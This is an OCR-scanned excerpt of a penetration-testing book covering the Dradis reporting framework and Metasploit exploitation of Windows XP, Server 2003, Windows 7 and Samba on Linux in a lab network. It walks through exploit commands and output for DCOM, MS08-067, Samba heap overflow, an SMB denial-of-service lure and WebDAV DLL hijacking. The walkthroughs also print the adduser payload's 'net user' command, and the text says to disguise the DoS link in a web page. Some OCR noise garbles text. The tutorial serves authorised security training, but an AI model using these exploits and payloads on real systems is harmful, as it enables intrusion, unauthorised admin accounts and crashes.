root@bt:~# cd /pentest/misc/dradis

root@bt:/pentest/misc/dradis# ./start.sh

Once the command is executed successfully, we can launch the framework from our browser
by passing the following address:

https://127.0.0.1:3004

We will be prompted to set up a password and account for the framework.

A X First Time User's Wizard - dradis v2.7.0 - Mozilla Firefox
File Ed His

(&) First Time User's Wizard - dra...
¢I ] _f' LeafO0RN fttps:i127.0.0.1:3004)wizard vle| [ v Google 0\| ﬁ

IR Backmrack Linux [ ffensive Security [[NExploit-DB W Alrcrack-ng 3SEORG.0rg (Music

« back to the app.

Welcome  Users and Passwords ~ Interface  Plugins  Reporting ~ Community / Help

What is Dradis?

Dradis is an open source framework to enable effective information sharing.

Dradis s a self-contained web application that provides a centralised reposttory of information to
keep track of what has been done so far, and what 15 still ahead, [screenshots - demo)

Features include:

» Easy report generation in HTML or Word format,

u Support for attachments,

o [ntegration with existing systems and tools through server plugins,
» Platform independent,
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How to do it...

Let us start our experiment with Dradis. The framework enables us to build up a tree like
structure for the domain and sub-domain addresses. This gives us a clear view of the target
structure and helps us in storing information logically. It also provides features to generate
a complete report of the information in a systematic manner.

X dradis v2.7.0 - Mozilla Firefox
File Edit View

dradis v2.7.0

@ | S SR hips:127.0.0.0:3004/

Y Backrack Linux [ Offensive Security KBExploit-DB Wy Aircrack-ng (53 SEORG.org [gMusic v

] importfrom fie.. > [} export»
B sl (2 5 = i |
Lgadd branch | o & [E] (&) add note meegoms %
> () Dradis Framework 2.7 Text a
= Category: default category
Here are your noles for the node you just clicked (*Dradis Framework 2.7°) If a node has afiach

There are five important options that the framework provides us with. They are add branch,
import from file, export, add note, and note categories.

Once you have logged in with your credentials, then you will be presented with a screen
similar to the one shown in the preceding screenshot. You can locate the five options on
the left corner of the framework. Let us see what these options do for us.

Let us start with creating a new report. The process is simple and starts with adding hosts
and sub-hosts.

The add branch option enables us to add a new IP or domain name. Once a top-level domain
is added, we can further add its child to include sub-domains as well. Now the next task is to
add information about them.

The add note option enables us to add information that we have collected from various scan
results. For example, we can add scan results from Nmap, Nessus, and so on.

i
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The note categories option helps us in selecting the medium we used for obtaining the
information. The various options include Brup scan, Nessus scan, NeXpose, Nmap, and
so on. You can choose the appropriate option that you used to generate the scan results.

The following screenshot shows information about the Nmap scan performed on a range of
IP addresses 192.168.56.1/24. The left-side tree structure contains information about the
targets available and the right column provides reports about it.

5| import from file... = Eexpur!'

“gadd branch | i (] [EE] ) addnote | 2] note categories = | &
1+ ] Dradis Framework 2.7 Text & ~ Categon)
I (] Uploaded filss
b (] nessusist nessus - Nessus scan 3 Category: default category
4 55 nmap scan msf = db_nmap 192.165.56.1/24 -A -oX nmapscan [*] Nmap: Starling Nmap 5.51SVN { htip:iinmap.crg ) at 2011-10-22 03:35 1ST [*] Nmap: Nmap default cf
457192.168.56.1124
—]192.166.56.1
T1192.168.56.101

msf > db_nmap 192.168.56.1/24 -A -0X nmapscan

] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-22 03:35 IST

[ Nmap: Nmap scan report for 192.168.56.1

] Nmap: Host is up (0.00072s latency).

[ Nmap: Not shown: 996 filtered ports

] Nmap: PORT STATE SERVICE VERSION

[ Nmap: 135/tcp open msrpc Microsoft Windows RPC

] Nmap: 139/tcp open netbios-ssn

[ Nmap: 445/tcp open netbios-ssn

] Nmap: 2869 /tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)
<@ - [ Nmap: MAC Address: 08:00:27:00:A8:A3 (Cadmus Computer Systems)

Find a Node Notes | Importnote.. | Attachments

The next thing that we can do with the Dradis framework is to import an existing report
or export a created report.

The Import from file option provides us with the flexibility to import previously scanned results
from different scanners. This further increases the power of this framework, as different testers
can import the results into the framework and combine them to produce a single report.

The export option provides professional penetration testers an option to generate a complete
report of various domains and sub-domains into a single file. The report can be exported
either in an XML or in an HTML format. It can also be exported in the form of a project or
custom template.
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Operating System-
based Vulnerability
Assessment and
Exploitation

In this chapter, we will cover:

» Exploit usage quick tips

» Penetration testing on a Windows XP SP2 machine
» Binding a shell to the target for remote access

» Penetration testing on the Windows 2003 Server

» Windows 7/Server 2008 R2 SMB client infinite loop
» Exploiting a Linux (Ubuntu) machine

» Understanding the Windows DLL injection flaws

Introduction

In the previous chapter, we focused on gathering information about our target. Various
information included the target IP address, open ports, available services, operating system,
and so on. One of the biggest assets in the process of information gathering is gaining
knowledge about the operating system used by the target server or system. This information
can prove to be very helpful in penetrating the target machine as we can quickly look for
exploits and vulnerabilities of the operating system in use. Well, the process is not as
straightforward as it sounds, but knowledge about the target operating system can ease our
task to much extent.
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Every flavor of operating system has some or other bug in it. Once it gets reported, the
process of developing exploits for it starts. Licensed operating systems such as Windows
quickly develop patches for the bug or vulnerability and provide it as an update to its users.
Vulnerability disclosure is a big issue these days. Many zero day disclosures create havoc in
the computer industry. Zero day vulnerabilities are highly sought after and in underground
markets, the price may range from 50 K USD to 100 K USD. Vulnerabilities are detected and
exploited but the disclosure of vulnerability depends on the researcher and their intention.

Well known products such as Microsoft and Adobe issue patches at regular intervals but it's
up to the user to apply them. In Corporate scenarios, this gets even worse—it takes weeks
before servers are being patched because of the downtime involved and to ensure business
continuity is not hampered. So, it is always recommended to update or keep an eye on any
latest vulnerability discovered in your operating system in use. Unpatched systems are a safe
haven for hackers, as they immediately launch exploits to compromise the target. Hence,
regular patching and updating the operating systems is essential. In this chapter, we will
focus on vulnerabilities that are reported in some of the most popular operating systems.

In the process of penetration testing, once the information about the target operating

system is available, the pen-testers start looking for available exploits for the particular
operating system flaws. So, this chapter will be the first step towards penetrating our target
through vulnerabilities in the operating system. We will focus on some of the most widely used
home- and enterprise-based operating systems of Microsoft and some flavors of Linux. We will
also look at how to use exploits and set up its parameters to make it executable on the target
machine. Last, but not least, we will discuss some of the useful payloads available to us in the
Metasploit framework. So let us start with the recipes.

Exploit usage quick tips

Before starting to use exploits and payload on target machines, we will first have to know
some basics about them. It is very essential to understand the usage of exploits so that you
can overcome some common errors that may arise due to misconfiguration of parameters.
So, let us begin with some basics of using exploits and how to set parameter values.

Getting ready

In order to start using exploits on your target, the first thing required is to scan the target for
open ports and services. Once you have gathered enough information about the target, the
next step is to select exploits accordingly. So let us analyze some of the exploit commands
that can be launched directly from msfconsole.

=
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How to do it...

Here is a list of commands that will be helpful during exploit usage:

>

msf > show exploits and msf > show payloads: These two commands
will display all the available exploits and payloads in the Metasploit directory.

msf > search exploit: This command will search for a particular exploit.
We can also use this command to search for any specific search terms.
The command should be passed in the following manner:

msf > search exploit-name or search-term

For example, consider the following command:

msf > search ms03 026 dcom

Matching Modules

Name Disclosure Date Rank
Description
exploit/windows/
dcerpc/ms03 026 dcom 2003-07-16 great Microsoft RPC
DCOM

msf > use exploit: This command is used to set any exploit as active and ready
to use. The command is passed in the following manner:

msf > use exploit name
After executing this command, the prompt also changes to the exploit type:
msf > use exploit/windows/dcerpc/ms03 026 dcom

msf exploit(ms03 026 dcom) >

show options: This command is used to see the available options or parameters
of the exploit in use. The various parameters include the host IP, port, threads, and
so on. The parameters marked yes must have a value in order to execute the exploit.

msf exploit(ms03 026 dcom) > show options

Module options (exploit/windows/dcerpc/ms03 026 dcom) :

Name Current Setting Required Description

s
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RHOST yes The target address
RPORT 135 yes The target port
» set: This command is used to set a value to a parameter in the exploit under use.

It is used to set up a payload for a particular exploit in use. The command can be
passed in the following manner:

msf > set parameter-name parameter-value

Similarly, we can use the unset command as well:

msf exploit(ms03 026 dcom) > set RHOST 102.168.56.102
RHOST => 102.168.56.102
msf exploit(ms03 026 dcom) >

There are optional commands named setg and unsetg. These commands are used
when we have to globally set a parameter value in msfconsole. It, thus, saves us
from re-entering the same value.

» show targets: Every exploit is made to attack a particular target service.
This command displays the information on what possible targets can
the exploit be used:

msf exploit(ms03 026 dcom) > show targets
Exploit targets:

Id Name

0 Windows NT SP3-6a/2000/XP/2003 Universal

Here we can see that the dcom exploit is available for several flavors of the Windows machine.

In Chapter 1, Metasploit Quick Tips for Security Professionals, we have discussed that the
entire Metasploit framework has a modular architecture. Different exploits are converted
into a framework-understandable module which can function in accordance with it. Different
commands are called to load and set up the modules. The command-line interface of
msfconsole makes it easy to access different modules and perform penetration testing.

=
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Penetration testing on a Windows XP SP2

machine

Let us now get our hands into the world of exploits. To start with, we will work on the most
primary, yet most widely used, operating system, Windows XP. In this recipe, we will see how
we can use Metasploit to break into our target system which is running on the Windows XP
machine. We will be using the commands we learnt in the previous recipe and then move
ahead to select exploits and payloads, and set up various required parameters.

Getting ready

We will start our penetration testing process right from msfconsole. So, launch the
console and perform a port scan to gather information about the target. We have discussed
port scanning in detail in the previous chapter. Here, | will assume that you have gathered
information about the target and it is running a Windows XP operating system. So let us
proceed with selecting exploits and payloads.

How to do it...

To perform penetration testing on a Windows XP SP2 machine, follow these steps:

1. The primary goal will be to select an exploit that can be used on a Windows XP
machine. You can browse to the /exploits/windows directory or simply make a
search for a list of available exploits for the Windows XP platform. We will be using
RPC dcom vulnerability to penetrate our target. So let us first search for the RPC
dcom vulnerability, using the following command:

msf exploit(ms03 026 dcom) > search dcom

Matching Modules

Name Disclosure Date Rank Description
exploit/windows
dcerpc/ms03 026 dcom 2003-07-16 great Microsoft RPC
xploit/windows/
driver/

s
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broadcom wifi ssid 2006-11-11 low Broadcom Wireless
xploit/windows/
smb/ms04 031 netdde 2004-10-12 good Microsoft NetDDE

As we can see, the search has produced three results. We will be working on the first
exploit as its rank is listed as great so it will have a better success rate.

In order to set exploit/windows/dcerpc/ms03 026 dcom as the usable exploit,

we will execute the following command:

msf exploit(ms03 026 dcom) > use exploit/windows/dcerpc/ms03 026
dcom

msf exploit(ms03 026 dcom) >
The change in the prompt symbolizes that the command is executed successfully.

The next step will be to set up the various parameters of the exploit. The show
options command will list the available parameters in the exploit. Then, by using
the set command, we can set up the various parameters. Some parameters will
have default values as well:

msf exploit(ms03 026 dcom) > show options

Module options (exploit/windows/dcerpc/ms03 026 dcom) :

Name Current Setting Required Description

RHOST yes The target address
RPORT 135 yes The target port

Exploit target:

Id Name

0 Windows NT SP3-6a/2000/XP/2003 Universal

Here RHOST denotes the IP address of the remote host and RPORT denotes the
default bind port. The value or RPORT has been set to 135 by default. We will have
to set the value of RHOST to our target IP address in order to execute the exploit:

msf exploit(ms03 026 dcom) > set RHOST 192.168.56.102

=
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RHOST => 192.168.56.102
msf exploit(ms03 026 dcom) >

Note that the ms03_026_dcom exploit has the ID set to 0. This means
- that we do not need to specify which Windows machine is running on the
%\ target. It can exploit any of the Windows machines listed in it. For any other
’ exploit, we may have to select the target operating system by using the
show targets command.

Now the value of RHOST has been set to our target IP address. If we try to run the
exploit then we will get an error message. The reason is we have not yet selected any
payload for the exploit.

4. Our next step will be to choose a relevant payload. We can use the command show
payloads to list all the available payloads. We will start with a simple example of
the windows/adduser payload. This payload will add a new user in the target's
operating system:

msf exploit(ms03_026 dcom) > set PAYLOAD windows/adduser
PAYLOAD => windows/adduser
5. Now, if we again use the show options command then it will list the parameters for

both the exploit, as well as the payload. The payload parameters will look something
like this:

Payload options (windows/adduser) :

Name Current Setting Required Description

EXITFUNC thread yes seh, thread, process,
none

PASS metasploit yes password for this user

USER metasploit yes The username to create

We can see the default username and password that will be added to our target
operating system is metasploit and metasploit. We can change these values
by using the set PASS and set USER commands.

6. Now that our payload is set, we are ready to penetrate the target machine.
We will use the following command to launch the exploit:

msf exploit(ms03_026_ dcom) > exploit

[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...

s
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[*] Binding to 4d9f4ab8-7dlc-11cf-861e-0020af6e7c57:0.0@ncacn ip
tcp:192.168.56.102[135]

[*] Bound to 4d9f4ab8-7dlc-1lcf-86le-0020af6e7c57:0.0@ncacn ip
tcp:192.168.56.102[135]

[*] Sending exploit ...

[*] Exploit completed, but no session was created.

The last line of the output shows that the exploit was completed successfully on

the target machine. Now there will be a new user added in the target machine. The
output also says that no session was created. This is because the payload we used
was a simple adduser that doesn't need any active session. Hence, once the exploit
completes, the connection with the target is ended. In the next recipe, we will use the
payload to set up a session.

There is vulnerability in the part of RPC that deals with the message exchange over TCP/

IP. The failure results because of incorrect handling of malformed messages. This particular
vulnerability affects a Distributed Component Object Model (DCOM) interface with RPC,
which listens on RPC enabled ports. So, the target machine must have an available port
running an RPC service.

This interface handles the DCOM object activation requests that are sent by client machines
to the server. An attacker who successfully exploited this vulnerability would be able to run the
code with local system privileges on an affected system. The attacker would be able to take
any action on the system. This includes installing programs, viewing/changing/deleting data,
or creating new accounts with full privileges.

For more details on this vulnerability, you can visit the following link to Microsoft
Security Bulletin:

http://technet.microsoft.com/en-us/security/bulletin/ms03-026

Now in order to understand the working of the adduser payload, we will analyze the ruby
code for the payload. Let us browse to the payload location:

root@bt:~# cd /pentest/exploits/framework3/modules/payloads/singles/
windows
root@bt:/pentest/exploits/framework3/modules/payloads/singles/windows#

less adduser.rb

The following part of the code that is of interest for us:

# Register command execution options
register options (

=
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OptString.new('USER', [ true, "The
username to create", "metasploit" 1),

OptString.new('PASS', [ true, "The
password for this user", "metasploit" 1),

1, self.class)
# Hide the CMD option

deregister options('CMD')
end
#
# Override the exec command string
#
def command string
user = datastore['USER'] || 'metasploit’
pass = datastore['PASS'] || '

if (pass.length > 14)
raise ArgumentError, "Password for the adduser
payload must be 14 characters or less"
end

return "cmd.exe /c net user #{user} #{pass} /ADD && "

"net localgroup Administrators #{user} /ADD"
end

You can understand the code through the comments added with the # symbol. The code is
simple and self-explanatory. It first registers values for the username and password. Then it
goes on to hide the cMD function from appearing on the target screen while the payload gets
executed. Then, the code overrides the windows/exec payload to pass the parameter values
and launch a stealth command prompt to execute in the background.

You can play with the code and make your own changes. This will help you dig deeper into the
world of payloads.

Binding a shell to the target for

remote access

In the previous recipe, we analyzed how to exploit a Windows SP2 machine and add a new
user account. But the connection was terminated immediately after the execution of exploit.
In this recipe, we will move a step ahead and bind a shell to the target so that we can set up
a remote connectivity with the target and gain control over it. The process is similar to the one
mentioned in the previous recipe. All we have to do is use a different payload that can start a
shell for us on the target machine.

s
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Getting ready

We will again start off by launching our msfconsole and our target is the same as in
the Penetration testing on a Windows XP SP2 machine recipe. We will use the same
dcom vulnerability and then use a different payload this time to bind a shell to the target.

How to do it...

To bind a shell to the target, follow these steps:

1. We will begin by selecting the dcom exploit against our target machine. We will set up
the various exploit parameters and then select the payload:

msf > use exploit/windows/dcerpc/ms03 026 dcom

msf exploit(ms03 026 dcom) > show options
Module options (exploit/windows/dcerpc/ms03 026 dcom) :

Name Current Setting Required Description

RHOST yes The target address
RPORT 135 yes The target port

Exploit target:

Id Name

0 Windows NT SP3-6a/2000/XP/2003 Universal

msf exploit(ms03 026 dcom) > set RHOST 192.168.56.102
RHOST => 192.168.56.102

2. Now that our exploit is set up, we will now move to payload. Using the show
payloads command will list all the available payloads. Now, we will use the
windows/shell/bind_ tcp payload that will open a TCP connection on port
4444 (by default) on the target machine and provide us a command shell:

msf exploit(ms03 026 dcom) > set PAYLOAD windows/shell/bind tcp

PAYLOAD => windows/shell/bind tcp
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3. Now: using the show options command, we can set up other relevant parameters
such as RHOST and change the default port. After setting up the parameters, we will
execute the exploit. Let us see what the output of the execution is:

msf exploit(ms03 026 dcom) > exploit

[*] Started reverse handler on 192.168.56.101:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...

[*] Sending stage (240 bytes) to 192.168.56.102

[*] Command shell session 1 opened (192.168.56.101:4444 ->
192.168.56.102:1052) at 2011-10-31 01:55:42 +0530

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C: \WINDOWS\system32>

The exploit has been executed successfully and we have a command prompt started in our
msfconsole. Now this session can be used to gain complete remote access of the target
machine. We can exit from this session anytime by using the exit command.

You might have realized by now the power of payloads in Metasploit. It is highly encouraged
that one should try various available payloads in order to understand their functionality.

The working of dcom exploit is the same as explained in the previous recipe. To understand
the working of bind_tcp, we will have to wait a bit as it involves some concepts that we will
deal with in a later chapter of this book. Still, you can have a look at the payload ruby code
by browsing to /pentest/exploits/framework3/modules/payloads/stagers/
windows/bind tcp.rb.

What next? How can a shell access provide us control over the target.
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Gaining complete control of the target

Now that we have a shell connectivity set up with our target machine, we can have full access
to the target machine by using the command prompt. We can now move ahead to explore

the target machine by using the common DOS commands available to us. Some of the basic
operations include directory listing, copying files and folders, creating user agents, and so on.

Penetration testing on the Windows 2003

Server

In the previous recipe, we analyzed how to use the dcom exploit to cause a buffer overflow
and exploit our Windows target. In this recipe, we will focus on a similar but logically different
environment. The Windows 2003 Server is one of the most widely used enterprise-based
operating systems of Microsoft. In this recipe, we will see how we can exploit a Windows
2003 Server. The updated versions of the Windows 2003 Server are patched so the dcom
vulnerability doesn't work in it. So we will try different vulnerability in this recipe. We will be
using the netapi32.d11 vulnerability. First, we will analyze the exploitation process and
then analyze the cause of this vulnerability. So let us start our penetration testing.

Getting ready

To start with, let us launch msfconsole and perform a quick scan of the target. It is always
recommended that you should follow all the steps in a sequential order to make sure it
strengthens the basics. The next step will be the same as we discussed in the previous two
recipes. The only difference will be in using the exploit.

How to do it...

To perform penetration testing on the Windows 2003 Server, follow these steps:
1. Let us start with searching for netapi. This will list any available exploit related
to netapi in the Metasploit directory:

msf > search netapi

Matching Modules

Name Disclosure Date Rank

exploit/windows/smb/ms03 049 netapi 2003-11-11 good
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exploit/windows/smb/ms06 040 netapi 2006-08-08 good
exploit/windows/smb/ms06 070 wkssvc 2006-11-14 manual
exploit/windows/smb/ms08 067 netapi 2008-10-28 great

As we can see, out of the four results, the last exploit has a great rating. So we will
prefer using this exploit.

We will set up RHOST as our target Windows 2003 Server:

msf > use exploit/windows/smb/ms08 067 netapi

msf exploit(ms08 067 netapi) > show options

Module options (exploit/windows/smb/ms08 067 netapi):

Name Current Setting Required Description

RHOST yes The target address

RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use

(BROWSER, SRVSVC)

Exploit target:

Id Name

0 Automatic Targeting

msf exploit(ms08 067 netapi) > set RHOST 192.168.56.102
RHOST => 192.168.56.102

Again, the 1d value 0 suggests that we do not need to specify the target
operating system.

www.it-ebooks.info


http://www.it-ebooks.info/

Operating System-based Vulnerability Assessment and Exploitation

3. Once we have completed the exploit loading the process, the next step will be to set
up the payload. We will again set up a tcp_bind shell on the target machine, as we
discussed earlier.

msf exploit(ms08 067 netapi) > set payload
windows/shell/bind tcp

payload => windows/shell/bind tcp

msf exploit(ms08_067_netapi) > set LHOST 192.168.56.101
LHOST => 192.168.56.101

So now, our exploit and payload are ready. The next and the final step is to use the exploit
command. Let us analyze the result of the execution:

msf exploit(ms08 067 netapi) > exploit

[*] Started bind handler

[*] Automatically detecting the target...

[*] Fingerprint: Windows 2003 SERVER - Service Pack 2 - lang:English
[*] Selected Target: Windows 2003 Server SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...

[*] Sending stage (240 bytes) to 192.168.56.102

[*] Command shell session 1 opened (192.168.56.101:43408 ->
192.168.56.102:4444) at 2011-11-02 21:25:30 +0530

C: \WINDOWS\system32>

Bingo! We have a shell connection with our target. This gives us access to the target machine
through the command line. You can see how powerful Metasploit can be for penetrating
target machines. It really simplifies our task to a greater extent. Let us take a quick look

at the exploit we used in this recipe.

This module exploits a parsing flaw in the path canonicalization code of netapi32.d11l
through the Server Service. This module is capable of bypassing NX on some operating
systems and service packs. The correct target must be used to prevent the Server Service
(along with a dozen others in the same process) from crashing.

=
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Windows 7/Server 2008 R2 SMB client

infinite loop

There are very few exploits available for Windows 7 and Windows Server 2008. The SMB
client infinite loop is one such vulnerability that causes a system crash. This vulnerability will
not provide any session or shell connectivity, but it is worth discussing. We will deal with the
DLL injection flaw in Windows 7 in the Understanding the Windows DLL injection flaws recipe.

The SMB client in the kernel in Microsoft Windows Server 2008 R2 and Windows 7 allows
remote SMB servers and man-in-the-middle attackers to cause a denial of service (infinite
loop and system hang) via SMBv1 or SMBV2 response packet. The packet contains an
incorrect length value in a NetBIOS header or an additional length field at the end of this
response packet. This incorrect header value is the main reason for the vulnerability.

Getting ready

Metasploit contains an auxiliary module auxiliary/dos/windows/smb/ms10 006
negotiate response loop Which can be used to exploit the SMB server and cause a
denial of service. The attack vector works by passing a UNC path into a web page and asking
the user to execute it. Once the user opens the shared file, the system crashes completely and
the target will be forced to restart.

How to do it...

To begin using this auxiliary module, we will have to execute the use command along with the
path to the module. Then, we will move ahead to set up the required parameters and execute
the module. Let us proceed to practically implement these steps:

msf > use auxiliary/dos/windows/smb/ms10 006 negotiate response loop

msf auxiliary(msl0 006 negotiate response loop) > show options

Module options (auxiliary/dos/windows/smb/msl0 006 negotiate response
loop) :

Name Current Setting Required Description

SRVHOST 0.0.0.0 yes The local host..

s
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SRVPORT 445 yes The SMB port to listen
SSL false no Negotiate SSL..
SSLCert no Path to a custom SSL
SSLVersion SSL3 no Specify the version..

Let us quickly set up the various parameters. The only parameter to look for is SRVHOST
that is the localhost IP address or the penetration testers IP address.

msf auxiliary(msl0 006 negotiate response loop) > set SRVHOST
192.168.56.101

SRVHOST => 192.168.56.101

We will use the run command to execute the auxiliary module. Once the module executes,
it generates a shared folder link which has to be sent to the target. In this case, the link
generated is \\192.168.56.101\Shared\Anything.

msf auxiliary(msl0 006 negotiate response loop) > run

[*] Starting the malicious SMB service...

[*] To trigger, the vulnerable client should try to access:
\\192.168.56.101\Shared\Anything

[*] Server started.

Now we can make the link look less suspicious by crafting a web page and attaching this
link to it and then sending it to the target user. Once the target clicks on this link, the system
will completely freeze and will lead to a complete denial of service, thus leading to restart
the system.

Exploiting a Linux (Ubuntu) machine

Linux is also one of the widely used operating systems after Windows. In the previous few
recipes, we saw how we can penetrate a Windows machine by exploiting critical flaws in
available services. In this recipe, we will deal with the Linux operating systems. We will be
using Ubuntu 9.0 in this recipe, but the process will be similar for exploiting any flavor of
Linux and Solaris running the Samba service. Let us move ahead with the recipe.

=
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Getting ready

We will start by scanning our target Linux machine to gather information about the available
services. Let us perform a quick Nmap scan and analyze its result:

msf > nmap -sT 192.168.56.101
[*] exec: nmap 192.168.56.101
Starting Nmap 5.20 ( http://mmap.org ) at 2011-11-05 13:35 IST

Warning: Traceroute does not support idle or connect scan, disabling...

Nmap scan report for 192.168.56.101

Host is up (0.00048s latency).

Not shown: 997 closed ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.2.3 ((Ubuntu) PHP/5.2.1)
| html-title: Index of /

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)

MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)
No exact OS matches for host (If you know what OS is running on it, see

http://nmap.org/submit/ )

So now we have gathered information about the target. Our next step will be to select
an exploit and a suitable payload for it.

How to do it...

The process of penetrating a Linux machine is similar to that of Windows. Follow these steps:

1. All we have to focus on is selecting the right exploit and payload. Let us search for any
Samba exploit available in the Metasploit directory:

msf > search Samba

s
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2.

The command will provide a list of various auxiliaries and exploit modules for Samba.
We will use the exploit/linux/samba/lsa transnames_ heap module thatis
listed as a good rank exploit. So it will have higher probability of exploiting the target.
Let us set the exploit as active and set up the parameters.

msf > use exploit/linux/samba/lsa_ transnames_ heap

msf exploit(lsa transnames heap) > show options

Module options (exploit/linux/samba/lsa transnames heap) :

Name Current Setting Required Description

RHOST yes The target address

RPORT 445 yes Set the SMB service port
SMBPIPE LSARPC yes The pipe name to use

Exploit target:

Id Name

0 Linux vsyscall

msf exploit(lsa_transnames heap) > set RHOST 192.168.56.101
RHOST => 192.168.56.101

msf exploit(lsa_transnames_heap) >

Now our next task is to select a payload. We will have to keep one thing in mind that
as we are targeting a Linux machine, we will have to select a Linux payload for our
penetration process. We will be using the 1inux/x86/shell bind tcp payload
that works similar to the bind_tcp payload we analyzed in the previous recipes

for Windows.

msf exploit(lsa transnames heap) > set payload linux/x86/shell
bind tcp

payload => linux/x86/shell bind tcp
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msf exploit(lsa transnames heap) > show options

Module options (exploit/linux/samba/lsa_ transnames heap) :

Name Current Setting Required Description

RHOST 192.168.56.101 yes The target address

RPORT 445 yes Set the SMB service port
SMBPIPE LSARPC yes The pipe name to use

Payload options (linux/x86/shell bind tcp):

Name Current Setting Required Description

LPORT 4444 yes The listen port
RHOST 192.168.56.101 no The target address

4. We are all set now and our final step will be to provide the exploit command to begin
the process of exploitation:

msf exploit(lsa transnames heap) > exploit

[*] Started bind handler
[*] Creating nop sled....
[*] Trying to exploit Samba with address O0xffffe410...

[*] Connecting to the SMB service...

On successful execution of the exploit, we will be provided with shell connectivity with our
target machine. The process is very much similar to the ones we discussed in previous
recipes. The only difference lies in selecting exploits and payloads. The more different
combinations of exploits and payloads you try the better will be your understanding about it.
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Let us go through a quick note about the service, its exploit, and working. Samba is used
for printers and file sharing between Linux and Windows machines. This module triggers

a heap overflow in the LSA RPC service of the Samba daemon. This module uses the talloc
chunk overwrite method (credit Ramon and Adriano), which only works with Samba versions
3.0.21-3.0.24. The exploit takes advantage of dynamic memory allocation in heaps. There
are chances that the exploit may not succeed on the first attempt, so you can try multiple
times to achieve success.

There's more...

Let us cover some more relevant modules related to the Linux operating system.

Other relevant exploit modules for Linux

Apart from the exploit module discussed in this recipe, there are two more modules which
deserve some attention. It is highly recommended that you should try these exploits manually
to understand them deeply. They are:

» Samba chain_reply Memory Corruption: This exploit works by corrupting the memory
allocated to the response packets in Samba versions prior to 3.3.13. The memory
crashes by passing a value larger than the destination buffer size.

» Samba trans2open Overflow: This is a buffer overflow vulnerability existing in Samba
versions 2.2.0 to 2.2.8. It works by exploiting the flaw on x86 Linux machines that do
not have the noexec stack option set.

Understanding the Windows DLL injection

flaws

In this recipe, we will deal with a special kind of vulnerability that does not directly exist in the
Windows operating system. In fact, it exists in various application software that run on Windows.
This remote attack vector deals with a class of vulnerabilities that affects how applications load
external libraries. We will give an oversight of this issue to analyze it closely.

Getting ready

This attack vector involves creation of a vulnerable path or directory that the target will have to
execute in order to trigger it. The directory can be a file, extracted archive, USB drive, network
share, and so on. The file created will be completely harmless, but it will execute a DLL injection
code to compromise the system.
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How to do it...

Let us analyze a practical implementation of a DLL injection. In this example, our target
machine is an unpatched Windows 7 Ultimate machine. The process works by creating

a link to share the file which the target will have to access and execute. You will understand
the process as we move ahead.

1.

We will be using the exploit/windows/browser/webdav_dll hijacker
module as an exploit and windows /meterpreter/bind tcp as the payload.
Let us quickly set up the exploit and payload along with other required parameters:

msf > use exploit/windows/browser/webdav_dll hijacker

msf exploit(webdav dll hijacker) > set payload windows/
meterpreter/bind tcp

payload => windows/meterpreter/bind tcp

msf exploit(webdav dll hijacker) > show options

Module options (exploit/windows/browser/webdav dll hijacker):

Name Current Setting Required Description

ocmmE  policy yar  The bass name for he listed
EXTENSIONS txt yes The list of extensions
SHARENAME documents yes The name of the top-level
SRVHOST 0.0.0.0 yes The local host...

SRVPORT 80 yes The daemon port to listen
SSLCert no Path to a custom SSL..
URIPATH / yes The URI to use

s
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Payload options (windows/meterpreter/bind tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh..
LPORT 4444 yes The listen port
RHOST 192.168.56.102 no The target address

Exploit target:

Id Name

0 Automatic

The various parameters of the exploit will help in creating a particular file and
top-level share. The BASENAME parameter contains the name of the file to be
created. EXTENSIONS is the file type to be created. SHARENAME is the top-level
shared directory that will be created for access. SRVHOST is the local listening
port and SRVPORT is the port number on which the the SRVHOST will listen for
a connection.

2. Once you have set up the respective parameters of exploit and payload,
the next step is to execute the exploit. Let us see what happens when
we execute it:

msf exploit(webdav dll hijacker) > exploit
[*] Exploit running as background job.

[*] Started bind handler
[*]

[*] Exploit links are now available at

\\192.168.56.101\documents\

3. Once the exploit executes successfully, it starts listening for a connection and also
provides a shared link that the target will have to open in order to trigger the exploit.
Let us switch to the target screen to see what happens:

=
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The target will view a simple file, policy. txt, which has been shared by the attacker.

The file is completely harmless. Once the user executes this file, a connection is established
with the attacker's machine and shell connectivity is established. Once the file is executed
on the target, the DLL will execute and you will see a lot of activity on your msfconsole

screen. Once the DLL injection succeeds, we will have shell connectivity (see the
following screenshot):

44 OPTION

s
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Let us dig out the reason for this vulnerability. Dynamic Link Library (DLL) is Microsoft's
implementation of shared library concept for Windows. DLLs are the executables that are
associated with a program during the runtime to load the shared libraries linked with it.
When an application runs, a loadlibrary () function loads the required DLL at runtime.
If the location of the DLL to be loaded is not specified or an insufficiently qualified library
path is provided by the application, Windows uses its own set of defined order to search
for it. One of the locations in this default order is the current working directory.

Now when the target user visits the shared location, it reaches an attacker-controlled zone.
How? The shared file (policy. txt) contains a less qualified path of the DLL, so when the
target user executes it, Windows starts its own search for the missing DLL. Now, as the current
working directory (/documents) is controlled by the attacker, he/she can add a malicious
DLL code in it that Windows will execute (as the current working directory is one of the default
locations where Windows looks for the libraries). Now this malicious DLL can give the power
of executing external scripts to the attacker. Hence, the payload now comes into action and it
sets up a shell connectivity giving full access to the target system to the attacker. This is how
this whole attack vector is crafted.

There's more...

We can look for a DLL injection using a simple tool developed by H. D. Moore. Let us have
a quick overview of it.

The DlIHijackAudit kit by H. D. Moore

The creator of Metasploit, H. D. Moore created this security audit tool which can be used
to perform a test for DLL injection flaws in your own environment. It leverages the process
monitoring utility and Ruby interpreter. It works by monitoring whether or not a DLL was
accessed within the working directory of the associated file. It also generates test reports.
The tool and detailed documentation can be found at http://blog.metasploit.
com/2010/08/better-faster-stronger.html.
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Client-side
Exploitation and
Antivirus Bypass

In this chapter, we will cover:

» Internet Explorer unsafe scripting misconfiguration vulnerability
» Internet Explorer recursive call memory corruption

